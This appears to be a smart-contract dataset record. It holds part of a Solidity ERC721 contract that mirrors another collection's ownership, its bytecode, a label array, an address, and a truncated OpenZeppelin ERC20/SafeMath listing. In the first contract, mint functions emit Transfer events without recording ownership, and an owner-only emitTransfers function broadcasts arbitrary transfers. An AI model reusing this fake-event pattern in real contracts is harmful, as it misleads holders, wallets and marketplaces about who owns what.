mapping(uint256 => bool) private _tokenBifurcated; string internal _baseTokenURI; string internal _contractURI; uint256 internal _totalSupply; uint256 internal MAX_TOKEN_ID; bool internal burnAirdrop = false; Target721 _target = Target721(0x128675d4FddbC4a0D3f8aA777D8EE0fb8B427C2F); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function setTargetContract(address contractAddress) external onlyOwner { _target = Target721(contractAddress); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 balance = 0; for(uint256 i = 0;i <= MAX_TOKEN_ID;i++) { if(_ownerOf(i) == owner) { balance++; } } return balance; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _ownerOf(tokenId); require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function _ownerOf(uint256 tokenId) internal view virtual returns (address) { address owner = _owners[tokenId]; if(owner == address(0) && !_tokenBifurcated[tokenId] && !burnAirdrop) { try _target.ownerOf(tokenId) returns (address result) { owner = result; } catch { owner = address(0); } } return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); address approved = _tokenApprovals[tokenId]; return approved; } function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0) || _target.ownerOf(tokenId) != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _mint(address to, uint256 tokenId) internal virtual { emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); require(owner == _msgSender(), "Must own token to burn."); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); unchecked { if(!_tokenBifurcated[tokenId]) { _tokenBifurcated[tokenId] = true; } _totalSupply -= 1; } delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); unchecked { _owners[tokenId] = to; } emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} function setURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function setBurnAirdrop(bool setBurn) external onlyOwner { burnAirdrop = setBurn; } function airdropKHR(address[] calldata recipients) external onlyOwner { uint256 startingSupply = _totalSupply; // Update the total supply. _totalSupply = startingSupply + recipients.length; // Note: First token has ID #0. for (uint256 i = 0; i < recipients.length; i++) { _mint(recipients[i], startingSupply + i); } if((startingSupply + recipients.length - 1) > MAX_TOKEN_ID) { MAX_TOKEN_ID = (startingSupply + recipients.length - 1); } } function bifurcateToken(uint256 tokenId) external { address owner = ownerOf(tokenId); require(owner == _msgSender() || isContractOwner(), "Must own token to bifurcate."); _tokenBifurcated[tokenId] = true; unchecked { _owners[tokenId] = owner; } } function burn(uint256 tokenId) external { _burn(tokenId); } function emitTransfers(uint256[] calldata tokenId, address[] calldata from, address[] calldata to) external onlyOwner { require(tokenId.length == from.length && from.length == to.length, "Arrays do not match."); for(uint256 i = 0;i < tokenId.length;i++) { if(_owners[tokenId[i]] == address(0)) { emit Transfer(from[i], to[i], tokenId[i]); } } } function contractURI() external view returns (string memory) { return _contractURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return _baseTokenURI; } function totalSupply() public view returns (uint256) { return _totalSupply; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80636352211e116100de578063a22cb46511610097578063e8a3d48511610071578063e8a3d4851461034e578063e985e9c514610356578063f0d6f8ef14610392578063f2fde38b146103a557600080fd5b8063a22cb46514610315578063b88d4fde14610328578063c87b56dd1461033b57600080fd5b80636352211e146102ba57806370a08231146102cd578063715018a6146102e05780637f7dcdbf146102e85780638da5cb5b146102fc57806395d89b411461030d57600080fd5b806318160ddd1161014b57806342842e0e1161012557806342842e0e1461026e57806342966c681461028157806342d8c7d51461029457806347fc822f146102a757600080fd5b806318160ddd1461023657806323b872dd1461024857806340078bdb1461025b57600080fd5b806301ffc9a71461019357806302fe5305146101bb57806306fdde03146101d0578063081812fc146101e5578063095ea7b31461021057806317495dde14610223575b600080fd5b6101a66101a13660046115da565b6103b8565b60405190151581526020015b60405180910390f35b6101ce6101c93660046115f7565b61040a565b005b6101d861044e565b6040516101b291906116b6565b6101f86101f33660046116c9565b6104e0565b6040516001600160a01b0390911681526020016101b2565b6101ce61021e3660046116f7565b610568565b6101ce610231366004611738565b610678565b6009545b6040519081526020016101b2565b6101ce610256366004611753565b6106b5565b6101ce6102693660046117e0565b6106e6565b6101ce61027c366004611753565b6107b4565b6101ce61028f3660046116c9565b6107cf565b6101ce6102a2366004611822565b6107db565b6101ce6102b53660046118bc565b61094f565b6101f86102c83660046116c9565b6109a1565b61023a6102db3660046118bc565b610a17565b6101ce610ad7565b6101a66000546001600160a01b0316331490565b6000546001600160a01b03166101f8565b6101d8610b0d565b6101ce6103233660046118d9565b610b1c565b6101ce610336366004611924565b610b2b565b6101d86103493660046116c9565b610b63565b6101d8610c64565b6101a6610364366004611a04565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6101ce6103a03660046116c9565b610c73565b6101ce6103b33660046118bc565b610d37565b60006001600160e01b031982166380ac58cd60e01b14806103e957506001600160e01b03198216635b5e139f60e01b145b8061040457506301ffc9a760e01b6001600160e01b03198316145b92915050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b815260040161043490611a3d565b60405180910390fd5b6104496007838361152b565b505050565b60606001805461045d90611a72565b80601f016020809104026020016040519081016040528092919081815260200182805461048990611a72565b80156104d65780601f106104ab576101008083540402835291602001916104d6565b820191906000526020600020905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b60006104eb82610dcf565b61054c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610434565b506000908152600460205260409020546001600160a01b031690565b6000610573826109a1565b9050806001600160a01b0316836001600160a01b0316036105e05760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610434565b336001600160a01b03821614806105fc57506105fc8133610364565b61066e5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610434565b6104498383610e73565b6000546001600160a01b031633146106a25760405162461bcd60e51b815260040161043490611a3d565b600b805460ff1916911515919091179055565b6106bf3382610ee1565b6106db5760405162461bcd60e51b815260040161043490611aac565b610449838383610fcb565b6000546001600160a01b031633146107105760405162461bcd60e51b815260040161043490611a3d565b60095461071d8282611b13565b60095560005b828110156107765761076484848381811061074057610740611b2b565b905060200201602081019061075591906118bc565b61075f8385611b13565b6110fd565b8061076e81611b41565b915050610723565b50600a5460016107868484611b13565b6107909190611b5a565b11156104495760016107a28383611b13565b6107ac9190611b5a565b600a55505050565b61044983838360405180602001604052806000815250610b2b565b6107d881611127565b50565b6000546001600160a01b031633146108055760405162461bcd60e51b815260040161043490611a3d565b848314801561081357508281145b6108565760405162461bcd60e51b815260206004820152601460248201527320b93930bcb9903237903737ba1036b0ba31b41760611b6044820152606401610434565b60005b8581101561094657600060038189898581811061087857610878611b2b565b60209081029290920135835250810191909152604001600020546001600160a01b031603610934578686828181106108b2576108b2611b2b565b905060200201358383838181106108cb576108cb611b2b565b90506020020160208101906108e091906118bc565b6001600160a01b03168686848181106108fb576108fb611b2b565b905060200201602081019061091091906118bc565b6001600160a01b0316600080516020611c3b83398151915260405160405180910390a45b8061093e81611b41565b915050610859565b50505050505050565b6000546001600160a01b031633146109795760405162461bcd60e51b815260040161043490611a3d565b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000806109ad83611214565b90506001600160a01b0381166104045760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610434565b60006001600160a01b038216610a825760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610434565b6000805b600a548111610ad057836001600160a01b0316610aa282611214565b6001600160a01b031603610abe5781610aba81611b41565b9250505b80610ac881611b41565b915050610a86565b5092915050565b6000546001600160a01b03163314610b015760405162461bcd60e51b815260040161043490611a3d565b610b0b60006112d9565b565b60606002805461045d90611a72565b610b27338383611329565b5050565b610b353383610ee1565b610b515760405162461bcd60e51b815260040161043490611aac565b610b5d848484846113f7565b50505050565b6060610b6e82610dcf565b610bd25760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610434565b60078054610bdf90611a72565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0b90611a72565b8015610c585780601f10610c2d57610100808354040283529160200191610c58565b820191906000526020600020905b815481529060010190602001808311610c3b57829003601f168201915b50505050509050919050565b60606008805461045d90611a72565b6000610c7e826109a1565b90506001600160a01b038116331480610ca65750610ca66000546001600160a01b0316331490565b610cf25760405162461bcd60e51b815260206004820152601c60248201527f4d757374206f776e20746f6b656e20746f206269667572636174652e000000006044820152606401610434565b6000918252600660209081526040808420805460ff19166001179055600390915290912080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b03163314610d615760405162461bcd60e51b815260040161043490611a3d565b6001600160a01b038116610dc65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610434565b6107d8816112d9565b6000818152600360205260408120546001600160a01b03161515806104045750600b546040516331a9108f60e11b81526004810184905260009161010090046001600160a01b031690636352211e90602401602060405180830381865afa158015610e3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e629190611b71565b6001600160a01b0316141592915050565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610ea8826109a1565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610eec82610dcf565b610f4d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610434565b6000610f58836109a1565b9050806001600160a01b0316846001600160a01b03161480610f935750836001600160a01b0316610f88846104e0565b6001600160a01b0316145b80610fc357506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610fde826109a1565b6001600160a01b0316146110465760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610434565b6001600160a01b0382166110a85760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6110b3600082610e73565b60008181526003602052604080822080546001600160a01b0319166001600160a01b038681169182179092559151849391871691600080516020611c3b83398151915291a4505050565b60405181906001600160a01b03841690600090600080516020611c3b833981519152908290a45050565b6000611132826109a1565b90506001600160a01b038116331461118c5760405162461bcd60e51b815260206004820152601760248201527f4d757374206f776e20746f6b656e20746f206275726e2e0000000000000000006044820152606401610434565b611197600083610e73565b60008281526006602052604090205460ff166111c7576000828152600660205260409020805460ff191660011790555b6009805460001901905560008281526003602052604080822080546001600160a01b0319169055518391906001600160a01b03841690600080516020611c3b833981519152908390a45050565b6000818152600360205260408120546001600160a01b031680158015611249575060008381526006602052604090205460ff16155b80156112585750600b5460ff16155b1561040457600b546040516331a9108f60e11b8152600481018590526101009091046001600160a01b031690636352211e90602401602060405180830381865afa9250505080156112c6575060408051601f3d908101601f191682019092526112c391810190611b71565b60015b6112d257506000610404565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b816001600160a01b0316836001600160a01b03160361138a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610434565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611402848484610fcb565b61140e8484848461142a565b610b5d5760405162461bcd60e51b815260040161043490611b8e565b60006001600160a01b0384163b1561152057604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061146e903390899088908890600401611be0565b6020604051808303816000875af19250505080156114a9575060408051601f3d908101601f191682019092526114a691810190611c1d565b60015b611506573d8080156114d7576040519150601f19603f3d011682016040523d82523d6000602084013e6114dc565b606091505b5080516000036114fe5760405162461bcd60e51b815260040161043490611b8e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610fc3565b506001949350505050565b82805461153790611a72565b90600052602060002090601f016020900481019282611559576000855561159f565b82601f106115725782800160ff1982351617855561159f565b8280016001018555821561159f579182015b8281111561159f578235825591602001919060010190611584565b506115ab9291506115af565b5090565b5b808211156115ab57600081556001016115b0565b6001600160e01b0319811681146107d857600080fd5b6000602082840312156115ec57600080fd5b81356112d2816115c4565b6000806020838503121561160a57600080fd5b823567ffffffffffffffff8082111561162257600080fd5b818501915085601f83011261163657600080fd5b81358181111561164557600080fd5b86602082850101111561165757600080fd5b60209290920196919550909350505050565b6000815180845260005b8181101561168f57602081850181015186830182015201611673565b818111156116a1576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006112d26020830184611669565b6000602082840312156116db57600080fd5b5035919050565b6001600160a01b03811681146107d857600080fd5b6000806040838503121561170a57600080fd5b8235611715816116e2565b946020939093013593505050565b8035801515811461173357600080fd5b919050565b60006020828403121561174a57600080fd5b6112d282611723565b60008060006060848603121561176857600080fd5b8335611773816116e2565b92506020840135611783816116e2565b929592945050506040919091013590565b60008083601f8401126117a657600080fd5b50813567ffffffffffffffff8111156117be57600080fd5b6020830191508360208260051b85010111156117d957600080fd5b9250929050565b600080602083850312156117f357600080fd5b823567ffffffffffffffff81111561180a57600080fd5b61181685828601611794565b90969095509350505050565b6000806000806000806060878903121561183b57600080fd5b863567ffffffffffffffff8082111561185357600080fd5b61185f8a838b01611794565b9098509650602089013591508082111561187857600080fd5b6118848a838b01611794565b9096509450604089013591508082111561189d57600080fd5b506118aa89828a01611794565b979a9699509497509295939492505050565b6000602082840312156118ce57600080fd5b81356112d2816116e2565b600080604083850312156118ec57600080fd5b82356118f7816116e2565b915061190560208401611723565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561193a57600080fd5b8435611945816116e2565b93506020850135611955816116e2565b925060408501359150606085013567ffffffffffffffff8082111561197957600080fd5b818701915087601f83011261198d57600080fd5b81358181111561199f5761199f61190e565b604051601f8201601f19908116603f011681019083821181831017156119c7576119c761190e565b816040528281528a60208487010111156119e057600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611a1757600080fd5b8235611a22816116e2565b91506020830135611a32816116e2565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611a8657607f821691505b602082108103611aa657634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611b2657611b26611afd565b500190565b634e487b7160e01b600052603260045260246000fd5b600060018201611b5357611b53611afd565b5060010190565b600082821015611b6c57611b6c611afd565b500390565b600060208284031215611b8357600080fd5b81516112d2816116e2565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611c1390830184611669565b9695505050505050565b600060208284031215611c2f57600080fd5b81516112d2816115c456feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220eda5cb24ab1e0e5a074c792b2d3e550fa7f8c953b68203a99067df8d0b31095664736f6c634300080d0033
[ 0, 5, 12 ]
0xf236c3b27d6f3367d3a76f9d655019b780aeaa57
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a 